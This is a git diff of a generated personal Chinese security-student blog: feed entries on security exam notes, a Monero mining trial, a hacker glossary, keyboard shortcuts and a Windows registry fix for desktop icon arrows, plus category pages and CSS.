    说白了,BS架构就是浏览器应用,CS架构就是客户端应用,当然应用需要服务器配合,像腾讯就是以C/S结构起家的,其旗下的QQ这一软件就是典型的C/S结构应用,像Facebook就是以B/S为结构的。B/S结构的好处就是方便,不跨平台性好,真正的实现了一次开发,处处运行。C/S结构以其稳定安全著称,降低了通讯代价,但是实现起来麻烦,需要开发服务器和客户端两套系统并且在不同的平台移植起来非常麻烦。所以现在大多是以C/S模式来开发。

    移动终端面临的威胁:

    1.伪基站攻击。以自己为中心冒充基站,向周围手机发送垃圾短信,并且短信中包含恶意链接的情况。
    2.二维码扫描。二维码扫描可能带来如下风险:手机病毒、木马程序。

    容灾:容灾系统是指在相隔较远的异地,建立两套或多套功能相同的IT系统,互相之间可以进行健康状态监视和功能切换,当一处系统因意外(如火灾、地震等)停止工作时,整个应用系统可以切换到另一处,使得该系统功能可以继续正常工作。容灾技术是系统的高可用性技术的一个组成部分,容灾系统更加强调处理外界环境对系统的影响,特别是灾难性事件对整个IT节点的影响,提供节点级别的系统恢复功能。

    灾备:灾难备援,它是指利用科学的技术手段和方法,提前建立系统化的数据应急方式,以应对灾难的发生。其内容包括数据备份和系统备份,业务连续规划、人员架构、通信保障、危机公关,灾难恢复规划、灾难恢复预案、业务恢复预案、紧急事件响应、第三方合作机构和供应链危机管理等等。

    实际工作中的备份策略:

    • 执行完全备份
    • 经常进行增量备份
    • 定期执行差异备份

    操作系统的功能:

    1、进程管理。主要bai是对处理机du进行管理。

    2、存储管理。主zhi要是对内存的dao分配、保护和扩充。

    3、设备管理。对所有输人、输出设备的管理。

    4、文件管理。主要涉及文件的逻辑组织和物理组织,目录的结构和管理。

    5、作业管理。为用户提供一个友好的环境,方便用户组织自己的工作流程。

    信息安全问题产生的根源:信息系统的复杂性会造成系统本身的安全缺陷。

    信息安全应急响应管理过程:1.准备 2.检测 3.遏制 4.根除 5.恢复 6.跟踪

    ]]>
    + + + + + <blockquote> +<p>最近复习信息系统安全,以及备考NISP,做一些简单的知识点总结。</p> +</blockquote> +<h3 id="第一章"><a href="#第一章" class="headerlink" title="第一章"></a>第一章</h3><p + + + + + + + + + +
    + + + 云安全 + + http://h4m5t.github.io/2020/12/17/security/ + 2020-12-17T16:00:00.000Z + 2024-09-24T05:05:42.000Z + + 阿里云安全助理工程师(ACA)

    斥资600大洋,学习了阿里云的云安全ACA,50多个课程都认真的听了一遍。感觉老师讲的不错,不是“只会读PPT”的那种。对阿里巴巴的云管理、云使用、云安全、云生态,有点一些了解。
    当然,考试很简单。也算是考取的第一个专业证书吧,纪念一下。

    image-20201222211323725]]>
    + + + + + <h3 id="阿里云安全助理工程师-ACA"><a href="#阿里云安全助理工程师-ACA" class="headerlink" title="阿里云安全助理工程师(ACA)"></a>阿里云安全助理工程师(ACA)</h3><p>斥资600大洋,学习了阿里云的云安全AC + + + + + + + + + + + + + +
    + + + 记第一次挖矿 + + http://h4m5t.github.io/2020/11/03/dig/ + 2020-11-03T16:00:00.000Z + 2024-09-24T05:05:42.000Z + + 前言

    很早就听说过比特币,比特币作为一种全新理念的数字货币,在互联网上可谓风起云涌。自2009年始发以来,比特币价格飙升。

    在我写下这篇博文的时候,比特币早已超过一万美元了。

    与日常接触的货币不同,比特币的有限的,在它诞生的那刻就已经决定了。

    区块回报每产出21万个区块减半一次,周期大约为4年,最近一次减半在2020年5月12日28,而此种收敛等比数列的和必然是有限的,到2140年时,将不再有新的比特币产生,最终流通中的比特币将总是略低于2100万个。2019年5月12日时,比特币总存量约17,695,512个,实际可流通的量还会因为私钥丢失等因素更加减少。

    更有趣的是, 比特币的创始人到目前为止还是世界之谜, 真是太”低调”了.

    当然,用PC来挖比特币是一件很不现实的事情,于是我转向了另一个币种:

    Monero,俗称门罗币.它是一个很出名的”匿名币”

    挖矿

    首先,需要有一个自己的”钱包”.

    推荐使用官网提供的GUI,当然也可以找一些轻量级的”网页钱包”.

    系统已经默认生成了以4开头的收款地址,可以将它理解为”银行卡卡号”

    找到矿池

    先假设,你是一个淘金者,你想挖金子,可不是想挖就能挖,你肯定先找一个挖金公司,然后打工,付出劳动,获得回报.同理,我们要先找到一个矿池.

    矿池很多,我找了一个国内比较出名:猫池.https://c3pool.com

    设置挖矿程序

    挖金子还需要什么呢,哦,对了!我们还缺一把铲子!

    我这里以xmrig作为挖矿程序.https://github.com/xmrig/xmrig

    把相应文件下载到服务器,做好配置文件(与选择的矿池有关),准备开挖!

    在矿池页面可以看到,这个服务器的效率是很低的

    于是我尝试在PC上挖矿.效率能达到服务器的十几倍.

    经过连续几个小时的”CPU高强度作业”,终于有了一些收获.

    预估了一下,24小时不间断连续挖一个月,大概能挖到2$的币.

    感想

    在互联网世界,还有很多东西是可以探索的.

    从第一次上网,第一次写出hello,world!第一次看Youtube,到”第一次挖矿”

    很多东西,了解多一点,不是坏事.

    但真正的挖矿,还是交给”真正有实力的矿工”去做吧.

    ]]>
    + + + + + <h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>很早就听说过比特币,比特币作为一种全新理念的数字货币,在互联网上可谓风起云涌。自2009年始发以来,比特币价格飙升。</p> +<p>在我写下 + + + + + + + + + +
    + + + 黑客术语解释 + + http://h4m5t.github.io/2020/10/27/hack/ + 2020-10-27T16:00:00.000Z + 2024-09-24T05:05:42.000Z + + 黑客术语

    解释一下常见的术语

    • 肉鸡:僵尸主机(英语:Zombie computer)是指接入互联网受恶意软件感染后,受控于黑客的电脑。其可以随时按照黑客的命令与控制指令展开拒绝服务(DoS)攻击或发送垃圾信息。通常,一部被侵占的电脑只是僵尸网络里面众多中的一个,会被用来去运行一连串的或远程控制的恶意程序。一般电脑的拥有者都没有察觉到自己的系统已经被“僵尸化”,就仿佛是没有自主意识的僵尸一般。
    • Rootkit:Rootkit是指其主要功能为:隐藏其他程序进程的软件,可能是一个或一个以上的软件组合;广义而言,Rootkit也可视为一项技术。在今天,Rootkit一词更多地是指被作为驱动程序,加载到操作系统内核中的恶意软件。因为其代码运行在特权模式之下,从而能造成意料之外的危险。
    • IPC$:是共享 “ 命名管道 “ 的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。
    • 加壳:在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是隐藏程序真正的OEP。大多数病毒就是基于此原理。
    • 花指令:花指令是企图隐藏掉不想被逆向工程的代码块(或其它功能)的一种方法, 在真实代码中插入一些垃圾代码的同时还保证原有程序的正确执行, 而程序无法很好地反编译, 难以理解程序内容, 达到混淆视听的效果.
    • 蜜罐:专指用来侦测或抵御未经授权操作或者是黑客攻击的陷阱,蜜罐通常伪装成看似有利用价值的网络、资料、电脑系统,并故意设置了bug,用来吸引黑客攻击。由于蜜罐事实上并未对网络提供任何有价值的服务,所以任何对蜜罐的尝试都是可疑的。蜜罐中还可能装有监控软件,用以监控黑客入侵后的举动。而更常见的用法是用来吸引网络的计算机病毒入侵,从而获得病毒样本用于研究或破解的计算机,杀毒软件公司会利用这些计算机来监视或获得计算机网络中的病毒样本。
    ]]>
    + + + + + <h3 id="黑客术语"><a href="#黑客术语" class="headerlink" title="黑客术语"></a>黑客术语</h3><blockquote> +<p>解释一下常见的术语</p> +</blockquote> +<ul> +<li>肉鸡:僵尸主机(英语:Z + + + + + + + + + +
    + + + Chrome快捷键 + + http://h4m5t.github.io/2020/10/25/Chrome/ + 2020-10-25T16:00:00.000Z + 2024-09-24T05:05:42.000Z + + Chorme快捷键
    • 新建标签页:Ctrl + T

    • 重新打开关闭的标签页:Ctrl + Shift + T

    • 新建窗口: Ctrl + N

    • 新建无痕窗口:Shift + Ctrl + N

    • 打开 Home 页面:Alt + Home

    • 同个标签前进 / 后退:Alt + Right / Alt + Left

    • 切换标签页:Ctrl + Tab

    • 关闭标签页:Ctrl + W

    • 关闭窗口:Alt + F4 / Ctrl + Shift + W


    • 下载内容:Ctrl + J

    • 历史记录:Ctrl + H

    • 任务管理器:Shift + Esc

    • 清除历史记录:Ctrl + Shift + Del

    • 跳转到地址栏:Ctrl + L


    • 先下翻页:PgUp

    • 向上翻页:PgDn

    • 滑动到最顶部:Home

    • 滑动到最底部:End

    • 调整页面字体大小:Ctrl + ‘’+’’ / Ctrl + ‘’-‘’

    • 页面字体恢复默认:Ctrl + 0

    • 全屏切换:F11

    ]]>
    + + + + + <h3 id="Chorme快捷键"><a href="#Chorme快捷键" class="headerlink" title="Chorme快捷键"></a>Chorme快捷键</h3><ul> +<li><p>新建标签页:Ctrl + T</p> +</li> +<li><p>重 + + + + + + + + + +
    + + + Windows快捷键 + + http://h4m5t.github.io/2020/10/25/Win10/ + 2020-10-25T16:00:00.000Z + 2024-09-24T05:05:42.000Z + + win10快捷键
    • win+E 打开我的电脑

    • win+D 打开桌面

    • win+S/Q 搜索

    • win+M 全部窗口最小化

    • win+V 打开剪切板

    • win+W 打开白板

    • win+Shift+S 截屏

    • win+Tab 新建电脑桌面

    • Win+Ctrl+D 新建电脑桌面

    • Win+Ctrl+(←/→) 虚拟桌面间切换

    • win+(↓\↑) 窗口大小

    • win+I 打开设置

    • Win+数字键:打开任务栏上第n个程序

    • Alt+Tab:快速切换窗口

    ]]>
    + + + + + <h3 id="win10快捷键"><a href="#win10快捷键" class="headerlink" title="win10快捷键"></a>win10快捷键</h3><ul> +<li><p>win+E 打开我的电脑</p> +</li> +<li><p>win+D + + + + + + + + + +
    + + + Git + + http://h4m5t.github.io/2020/10/24/git/ + 2020-10-24T16:00:00.000Z + 2024-09-24T05:05:42.000Z + + 1.git clone

    将远程仓库克隆到本地,包括此仓库的版本变化信息。

    不需要进行git init操作

    方法:https或SSH

    2.git pull

    拉取远程更新到本地仓库,相当于从远程仓库或许最新版,然后与本地的分支合并。

    git pull = git fetch + git merge

    ]]>
    + + + + + <h3 id="1-git-clone"><a href="#1-git-clone" class="headerlink" title="1.git clone"></a>1.git clone</h3><p>将远程仓库克隆到本地,包括此仓库的版本变化信息。</p> +<p>不需 + + + + + + + + + + + + + +
    + + + 解决Win10桌面图标小箭头问题 + + http://h4m5t.github.io/2020/10/21/error/ + 2020-10-21T16:00:00.000Z + 2024-09-24T05:05:42.000Z + + 桌面的图标左下角总是有个小箭头,看着烦,想去掉,用网上的方法,删去了几个注册表的值。

    果然,注册表还是不能随便删的,结果任务栏的程序却无法正常打开。

    解决方法:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    方法一:
    win+R,输入regedit,分别在
    HKEY_CLASSES_ROOT\piffile
    HKEY_CLASSES_ROOT\InternetShortcut
    HKEY_CLASSES_ROOT\lnkfile
    中新建bai→字符串值,命名为duIsShortcut
    方法二:
    taskkill /f /im explorer.exe
    reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons" /v 29 /d "C:\Windows\system32\imageres.dll,154" /t reg_sz /f
    reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons" /v 29 /d "C:\Windows\system32\imageres.dll,154" /t reg_sz /f
    reg add "HKEY_CLASSES_ROOT\lnkfile" /v IsShortcut /t reg_sz /f
    reg add "HEKY_CLASSES_ROOT\piffile" /v IsShortcut /t reg_sz /f
    start explorer
    保存为.bat格式双击运行。

    去除桌面图标小箭头:

    1
    2
    3
    4
    5
    6
    7
    8
    如果还需要除去小箭头用下面的命令,用这个方法就可以避免错误了
    新建一个文本文件,粘贴后另存为.bat文件,然后以管理员身份打开
    reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons" /v 29 /d "%systemroot%\system32\imageres.dll,197" /t reg_sz /f
    taskkill /f /im explorer.exe
    attrib -s -r -h "%userprofile%\AppData\Local\iconcache.db"
    del "%userprofile%\AppData\Local\iconcache.db" /f /q
    start explorer
    pause

    温馨提示:注册表很重要,不要随便删除哦!

    2022/5/22 更新

    最近更新了windows11系统,小箭头又出来了,百度上的方法都不管用,最后靠微软官方解决的。方法如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    1.右键“开始”菜单,找到“运行”,输入命令 regedit ,打开“注册表编辑器”

    2.在“注册表编辑器”左侧窗口,按照以下路径找到对应项

    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons

    如果在 Explorer 下面没有 Shell Icons 这一项,可以直接在 Explorer 项上点击鼠标右键,选择“新建”→“项”,项的名字定为 Shell Icons 。

    3.选中“Shell Icons”,在右侧窗口中点击鼠标右键,选择“新建”→“字符串值”,将“字符串”的名字设置为“29”。

    4.双击新建的字符串“29”,在“数值数据”中输入“C:\WINDOWS\system32\imageres.dll,197”。

    如果你不确定系统安装在哪个硬盘分区,也可以输入“%systemroot%\system32\imageres.dll,197”,以 %systemroot% 的变量路径自动定位系统位置。

    5.关闭注册表编辑器,重新启动电脑即可
    ]]>
    + + + + + <p>桌面的图标左下角总是有个小箭头,看着烦,想去掉,用网上的方法,删去了几个注册表的值。</p> +<p>果然,注册表还是不能随便删的,结果任务栏的程序却无法正常打开。</p> +<div align=left><img src="https://iknow-pic.cdn.bce + + + + + + + + + + + +
    + +
    diff --git a/categories/CTF/index.html b/categories/CTF/index.html new file mode 100644 index 000000000..3c95ecc0f --- /dev/null +++ b/categories/CTF/index.html @@ -0,0 +1,199 @@ +分类: CTF | h4m5t's Blog + + + + + + + + + + +
    分类 - CTF
    2021
    ISCC练武题
    ISCC练武题
    V&N-CTF
    V&N-CTF
    春秋杯新年欢乐赛
    春秋杯新年欢乐赛
    攻防世界
    攻防世界
    avatar
    h4m5t
    人生得意需尽欢
    Follow Me
    公告
    Welcome!
    安全技术交流群753267126
    网安考研交流群244768497
    \ No newline at end of file diff --git a/categories/HTB/index.html b/categories/HTB/index.html new file mode 100644 index 000000000..7ccd7d1ee --- /dev/null +++ b/categories/HTB/index.html @@ -0,0 +1,199 @@ +分类: HTB | h4m5t's Blog + + + + + + + + + + +
    分类 - HTB
    2024
    HTB_Help
    HTB_Help
    HTB_Bizness
    HTB_Bizness
    HTB_MetaTwo
    HTB_MetaTwo
    avatar
    h4m5t
    人生得意需尽欢
    Follow Me
    公告
    Welcome!
    安全技术交流群753267126
    网安考研交流群244768497
    \ No newline at end of file diff --git a/categories/Incident-Review/index.html b/categories/Incident-Review/index.html new file mode 100644 index 000000000..ef9bbf664 --- /dev/null +++ b/categories/Incident-Review/index.html @@ -0,0 +1,199 @@ +分类: Incident Review | h4m5t's Blog + + + + + + + + + + +
    分类 - Incident Review
    2024
    Log4jShell事件
    Log4jShell事件
    avatar
    h4m5t
    人生得意需尽欢
    Follow Me
    公告
    Welcome!
    安全技术交流群753267126
    网安考研交流群244768497
    \ No newline at end of file diff --git a/categories/blog/index.html b/categories/blog/index.html new file mode 100644 index 000000000..2952c1d2e --- /dev/null +++ b/categories/blog/index.html @@ -0,0 +1,199 @@ +分类: blog | h4m5t's Blog + + + + + + + + + + +
    avatar
    h4m5t
    人生得意需尽欢
    Follow Me
    公告
    Welcome!
    安全技术交流群753267126
    网安考研交流群244768497
    \ No newline at end of file diff --git a/categories/blog/page/2/index.html b/categories/blog/page/2/index.html new file mode 100644 index 000000000..926fdb616 --- /dev/null +++ b/categories/blog/page/2/index.html @@ -0,0 +1,199 @@ +分类: blog | h4m5t's Blog + + + + + + + + + + +
    avatar
    h4m5t
    人生得意需尽欢
    Follow Me
    公告
    Welcome!
    安全技术交流群753267126
    网安考研交流群244768497
    \ No newline at end of file diff --git a/categories/index.html b/categories/index.html new file mode 100644 index 000000000..8819a2131 --- /dev/null +++ b/categories/index.html @@ -0,0 +1,201 @@ +categories | h4m5t's Blog + + + + + + + + + + + + +
    avatar
    h4m5t
    人生得意需尽欢
    Follow Me
    公告
    Welcome!
    安全技术交流群753267126
    网安考研交流群244768497
    \ No newline at end of file diff --git a/categories/web/index.html b/categories/web/index.html new file mode 100644 index 000000000..e4a3db690 --- /dev/null +++ b/categories/web/index.html @@ -0,0 +1,199 @@ +分类: web | h4m5t's Blog + + + + + + + + + + +
    avatar
    h4m5t
    人生得意需尽欢
    Follow Me
    公告
    Welcome!
    安全技术交流群753267126
    网安考研交流群244768497
    \ No newline at end of file diff --git "a/categories/\345\211\215\347\253\257/index.html" "b/categories/\345\211\215\347\253\257/index.html" new file mode 100644 index 000000000..3fefcd6dc --- /dev/null +++ "b/categories/\345\211\215\347\253\257/index.html" @@ -0,0 +1,199 @@ +分类: 前端 | h4m5t's Blog + + + + + + + + + + +
    avatar
    h4m5t
    人生得意需尽欢
    Follow Me
    公告
    Welcome!
    安全技术交流群753267126
    网安考研交流群244768497
    \ No newline at end of file diff --git "a/categories/\345\256\211\345\205\250/index.html" "b/categories/\345\256\211\345\205\250/index.html" new file mode 100644 index 000000000..8492fedbf --- /dev/null +++ "b/categories/\345\256\211\345\205\250/index.html" @@ -0,0 +1,199 @@ +分类: 安全 | h4m5t's Blog + + + + + + + + + + +
    分类 - 安全
    2023
    WAF
    WAF
    SOC和SIEM建设
    SOC和SIEM建设
    2022
    python安全开发
    python安全开发
    html5新安全
    html5新安全
    network-security学习笔记
    network-security学习笔记
    2021
    基于OSSEC的入侵检测
    基于OSSEC的入侵检测
    云蜜罐
    云蜜罐
    关于WAF
    关于WAF
    CSP内容安全策略
    CSP内容安全策略
    红队和渗透测试
    红队和渗透测试
    avatar
    h4m5t
    人生得意需尽欢
    Follow Me
    公告
    Welcome!
    安全技术交流群753267126
    网安考研交流群244768497
    \ No newline at end of file diff --git "a/categories/\345\256\211\345\205\250/page/2/index.html" "b/categories/\345\256\211\345\205\250/page/2/index.html" new file mode 100644 index 000000000..e57e3d926 --- /dev/null +++ "b/categories/\345\256\211\345\205\250/page/2/index.html" @@ -0,0 +1,199 @@ +分类: 安全 | h4m5t's Blog + + + + + + + + + + +
    分类 - 安全
    2021
    WAF bypass技巧
    WAF bypass技巧
    OWASP TOP10
    OWASP TOP10
    2020
    信息安全
    信息安全
    云安全
    云安全
    avatar
    h4m5t
    人生得意需尽欢
    Follow Me
    公告
    Welcome!
    安全技术交流群753267126
    网安考研交流群244768497
    \ No newline at end of file diff --git "a/categories/\345\257\206\347\240\201\345\255\246/index.html" "b/categories/\345\257\206\347\240\201\345\255\246/index.html" new file mode 100644 index 000000000..62bc61022 --- /dev/null +++ "b/categories/\345\257\206\347\240\201\345\255\246/index.html" @@ -0,0 +1,199 @@ +分类: 密码学 | h4m5t's Blog + + + + + + + + + + +
    分类 - 密码学
    2022
    香农信息论
    香农信息论
    Attacks on the RSA Cryptosystem
    Attacks on the RSA Cryptosystem
    密码学笔记
    密码学笔记
    2021
    初等数论学习
    初等数论学习
    avatar
    h4m5t
    人生得意需尽欢
    Follow Me
    公告
    Welcome!
    安全技术交流群753267126
    网安考研交流群244768497
    \ No newline at end of file diff --git "a/categories/\346\204\237\346\202\237/index.html" "b/categories/\346\204\237\346\202\237/index.html" new file mode 100644 index 000000000..f5f09d178 --- /dev/null +++ "b/categories/\346\204\237\346\202\237/index.html" @@ -0,0 +1,199 @@ +分类: 感悟 | h4m5t's Blog + + + + + + + + + + +
    分类 - 感悟
    2023
    2023年展望
    2023年展望
    2022
    2021总结
    2021总结
    2021
    六月加油
    六月加油
    2021,要加油哇
    2021,要加油哇
    avatar
    h4m5t
    人生得意需尽欢
    Follow Me
    公告
    Welcome!
    安全技术交流群753267126
    网安考研交流群244768497
    \ No newline at end of file diff --git "a/categories/\346\270\227\351\200\217/index.html" "b/categories/\346\270\227\351\200\217/index.html" new file mode 100644 index 000000000..004fbe0bd --- /dev/null +++ "b/categories/\346\270\227\351\200\217/index.html" @@ -0,0 +1,199 @@ +分类: 渗透 | h4m5t's Blog + + + + + + + + + + +
    分类 - 渗透
    2022
    bWAPP靶场记录
    bWAPP靶场记录
    DVWA靶场记录
    DVWA靶场记录
    2021
    记一次360众测考核
    记一次360众测考核
    企业渗透2
    企业渗透2
    企业渗透1
    企业渗透1
    渗透测试初学者笔记
    渗透测试初学者笔记
    网络侦察实验
    网络侦察实验
    渗透Metasploitable2
    渗透Metasploitable2
    CDN的绕过
    CDN的绕过
    CMS指纹识别
    CMS指纹识别
    avatar
    h4m5t
    人生得意需尽欢
    Follow Me
    公告
    Welcome!
    安全技术交流群753267126
    网安考研交流群244768497
    \ No newline at end of file diff --git "a/categories/\346\270\227\351\200\217/page/2/index.html" "b/categories/\346\270\227\351\200\217/page/2/index.html" new file mode 100644 index 000000000..fed406e82 --- /dev/null +++ "b/categories/\346\270\227\351\200\217/page/2/index.html" @@ -0,0 +1,199 @@ +分类: 渗透 | h4m5t's Blog + + + + + + + + + + +
    分类 - 渗透
    2021
    渗透测试之信息收集
    渗透测试之信息收集
    avatar
    h4m5t
    人生得意需尽欢
    Follow Me
    公告
    Welcome!
    安全技术交流群753267126
    网安考研交流群244768497
    \ No newline at end of file diff --git "a/categories/\346\274\217\346\264\236/index.html" "b/categories/\346\274\217\346\264\236/index.html" new file mode 100644 index 000000000..acbdf41de --- /dev/null +++ "b/categories/\346\274\217\346\264\236/index.html" @@ -0,0 +1,199 @@ +分类: 漏洞 | h4m5t's Blog + + + + + + + + + + +
    分类 - 漏洞
    2023
    xray之以CVE-2023-42442为例POC编写
    xray之以CVE-2023-42442为例POC编写
    2021
    XXE漏洞
    XXE漏洞
    浅谈XSS漏洞
    浅谈XSS漏洞
    avatar
    h4m5t
    人生得意需尽欢
    Follow Me
    公告
    Welcome!
    安全技术交流群753267126
    网安考研交流群244768497
    \ No newline at end of file diff --git "a/categories/\347\256\227\346\263\225/index.html" "b/categories/\347\256\227\346\263\225/index.html" new file mode 100644 index 000000000..45abfa344 --- /dev/null +++ "b/categories/\347\256\227\346\263\225/index.html" @@ -0,0 +1,199 @@ +分类: 算法 | h4m5t's Blog + + + + + + + + + + +
    分类 - 算法
    2022
    螺旋矩阵输出
    螺旋矩阵输出
    2021
    leetcode15 - 3sum
    leetcode15 - 3sum
    PAT-1010
    PAT-1010
    avatar
    h4m5t
    人生得意需尽欢
    Follow Me
    公告
    Welcome!
    安全技术交流群753267126
    网安考研交流群244768497
    \ No newline at end of file diff --git "a/categories/\351\235\242\350\257\225/index.html" "b/categories/\351\235\242\350\257\225/index.html" new file mode 100644 index 000000000..b7fb386ae --- /dev/null +++ "b/categories/\351\235\242\350\257\225/index.html" @@ -0,0 +1,199 @@ +分类: 面试 | h4m5t's Blog + + + + + + + + + + +
    avatar
    h4m5t
    人生得意需尽欢
    Follow Me
    公告
    Welcome!
    安全技术交流群753267126
    网安考研交流群244768497
    \ No newline at end of file diff --git a/css/background.css b/css/background.css new file mode 100644 index 000000000..715c723d7 --- /dev/null +++ b/css/background.css @@ -0,0 +1,25 @@ +/* 文章页背景 */ +.layout > div:first-child:not(.recent-posts) { + /* 以下代表白色透明度为0.3 */ + background: rgba(255, 255, 255, 0.5); +} +/* 所有背景(包括首页卡片、文章页、页面页等) */ +#recent-posts > .recent-post-item, +.layout > div:first-child:not(.recent-posts), +.layout_post > #page, +.layout_post > #post, +.read-mode .layout_post > #post { + /* 以下代表白色透明度为0.3 */ + background: rgba(255, 255, 255, 0.5); +} + +/* 背景渐变 */ +#web_bg{ + /*紫粉渐变*/ + /*background-image: linear-gradient(120deg, #e0c3fc 0%, #8ec5fc 100%);*/ + /*粉白蓝*/ + /*background-image: linear-gradient(-225deg, #dfbacd 0%, #B8DCFF 48%, #58abf3 100%);*/ + /*background-image: linear-gradient(120deg, #89f7fe 0%, #66a6ff 100%);*/ + /*background-image: linear-gradient(120deg, #a1c4fd 0%, #c2e9fb 100%);*/ + background-image: linear-gradient(to top, #fff1eb 0%, #ace0f9 100%); +} \ No newline at end of file diff --git a/css/index.css b/css/index.css new file mode 100644 index 000000000..415f58f48 --- /dev/null +++ b/css/index.css @@ -0,0 +1,6470 @@ +/*! normalize.css v8.0.1 | MIT License | github.com/necolas/normalize.css */ +html { + line-height: 1.15; + -webkit-text-size-adjust: 100% +} + +body { + margin: 0 +} + +main { + display: block +} + +h1 { + font-size: 2em; + margin: .67em 0 +} + +hr { + box-sizing: content-box; + height: 0; + overflow: visible +} + +pre { + font-family: monospace, monospace; + font-size: 1em +} + +a { + background-color: transparent +} + +abbr[title] { + border-bottom: none; + text-decoration: underline; + text-decoration: underline dotted +} + +b, +strong { + font-weight: bolder +} + +code, +kbd, +samp { + font-family: monospace, monospace; + font-size: 1em +} + +small { + font-size: 80% +} + +sub, +sup { + font-size: 75%; + line-height: 0; + position: relative; + vertical-align: baseline +} + +sub { + bottom: -.25em +} + +sup { + top: -.5em +} + +img { + border-style: none +} + +button, +input, +optgroup, +select, +textarea { + font-family: inherit; + font-size: 100%; + line-height: 1.15; + margin: 0 +} + +button, +input { + overflow: visible +} + +button, +select { + text-transform: none +} + +[type=button], +[type=reset], +[type=submit], +button { + -webkit-appearance: button +} + +[type=button]::-moz-focus-inner, +[type=reset]::-moz-focus-inner, +[type=submit]::-moz-focus-inner, +button::-moz-focus-inner { + border-style: none; + padding: 0 +} + +[type=button]:-moz-focusring, +[type=reset]:-moz-focusring, +[type=submit]:-moz-focusring, +button:-moz-focusring { + outline: 1px dotted ButtonText +} + +fieldset { + padding: .35em .75em .625em +} + +legend { + box-sizing: border-box; + color: inherit; + display: table; + max-width: 100%; + padding: 0; + white-space: normal +} + +progress { + vertical-align: baseline +} + +textarea { + overflow: auto +} + +[type=checkbox], +[type=radio] { + box-sizing: border-box; + padding: 0 +} + +[type=number]::-webkit-inner-spin-button, +[type=number]::-webkit-outer-spin-button { + height: auto +} + +[type=search] { + -webkit-appearance: textfield; + outline-offset: -2px +} + +[type=search]::-webkit-search-decoration { + -webkit-appearance: none +} + +::-webkit-file-upload-button { + -webkit-appearance: button; + font: inherit +} + +details { + display: block +} + +summary { + display: list-item +} + +template { + display: none +} + +[hidden] { + display: none +} +.limit-one-line, +#article-container .flink .flink-item-name, +#article-container .flink .flink-item-desc, +#aside-content .card-archives ul.card-archive-list > .card-archive-list-item a span, +#aside-content .card-categories ul.card-category-list > .card-category-list-item a span, +.site-data > a .headline, +#nav #blog-info, +#pagination .prev_info, +#pagination .next_info, +#sidebar #sidebar-menus .menus_items .site-page { + overflow: hidden; + -o-text-overflow: ellipsis; + text-overflow: ellipsis; + white-space: nowrap; +} +.limit-more-line, +.error404 #error-wrap .error-content .error-info .error_subtitle, +.article-sort-item-title, +#recent-posts > .recent-post-item >.recent-post-info > .article-title, +#recent-posts > .recent-post-item >.recent-post-info > .content, +#aside-content .aside-list > .aside-list-item .content > .name, +#aside-content .aside-list > .aside-list-item .content > .title, +#aside-content .aside-list > .aside-list-item .content > .comment, +#post-info .post-title, +.relatedPosts > .relatedPosts-list .content .title, +#article-container figure.gallery-group p, +#article-container figure.gallery-group .gallery-group-name { + display: -webkit-box; + overflow: hidden; + -webkit-box-orient: vertical; +} +.fontawesomeIcon, +.custom-hr:before, +#article-container.post-content h1:before, +#article-container.post-content h2:before, +#article-container.post-content h3:before, +#article-container.post-content h4:before, +#article-container.post-content h5:before, +#article-container.post-content h6:before, +#article-container.post-content hr:before, +#post .post-copyright:before, +#post .post-outdate-notice:before, +.note:not(.no-icon)::before, +.search-dialog hr:before { + display: inline-block; + font-weight: 600; + font-family: 'Font Awesome 6 Free'; + text-rendering: auto; + -webkit-font-smoothing: antialiased; +} +.cardHover, +.error404 #error-wrap .error-content, +.layout > div:first-child:not(.recent-posts), +#recent-posts > .recent-post-item, +#aside-content .card-widget, +.layout > .recent-posts .pagination > *:not(.space) { + border-radius: 8px; + background: var(--card-bg); + -webkit-box-shadow: var(--card-box-shadow); + box-shadow: var(--card-box-shadow); + -webkit-transition: all 0.3s; + -moz-transition: all 0.3s; + -o-transition: all 0.3s; + -ms-transition: all 0.3s; + transition: all 0.3s; +} +.cardHover:hover, +.error404 #error-wrap .error-content:hover, +.layout > div:first-child:not(.recent-posts):hover, +#recent-posts > .recent-post-item:hover, +#aside-content .card-widget:hover, +.layout > .recent-posts .pagination > *:not(.space):hover { + -webkit-box-shadow: var(--card-hover-box-shadow); + box-shadow: var(--card-hover-box-shadow); +} +.imgHover, +.error404 #error-wrap .error-content .error-img img, +.article-sort-item-img :first-child, +#recent-posts > .recent-post-item .post_cover .post-bg, +#aside-content .aside-list > .aside-list-item .thumbnail :first-child { + width: 100%; + height: 100%; + -webkit-transition: filter 375ms ease-in 0.2s, -webkit-transform 0.6s; + -moz-transition: filter 375ms ease-in 0.2s, -moz-transform 0.6s; + -o-transition: filter 375ms ease-in 0.2s, -o-transform 0.6s; + -ms-transition: filter 375ms ease-in 0.2s, -ms-transform 0.6s; + transition: filter 375ms ease-in 0.2s, transform 0.6s; + object-fit: cover; +} +.imgHover:hover, +.error404 #error-wrap .error-content .error-img img:hover, +.article-sort-item-img :first-child:hover, +#recent-posts > .recent-post-item .post_cover .post-bg:hover, +#aside-content .aside-list > .aside-list-item .thumbnail :first-child:hover { + -webkit-transform: scale(1.1); + -moz-transform: scale(1.1); + -o-transform: scale(1.1); + -ms-transform: scale(1.1); + transform: scale(1.1); +} +.postImgHover:hover .cover, +#pagination .prev-post:hover .cover, +#pagination .next-post:hover .cover, +.relatedPosts > .relatedPosts-list > div:hover .cover { + opacity: 0.8; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=80)"; + filter: alpha(opacity=80); + -webkit-transform: scale(1.1); + -moz-transform: scale(1.1); + -o-transform: scale(1.1); + -ms-transform: scale(1.1); + transform: scale(1.1); +} +.postImgHover .cover, +#pagination .prev-post .cover, +#pagination .next-post .cover, +.relatedPosts > .relatedPosts-list > div .cover 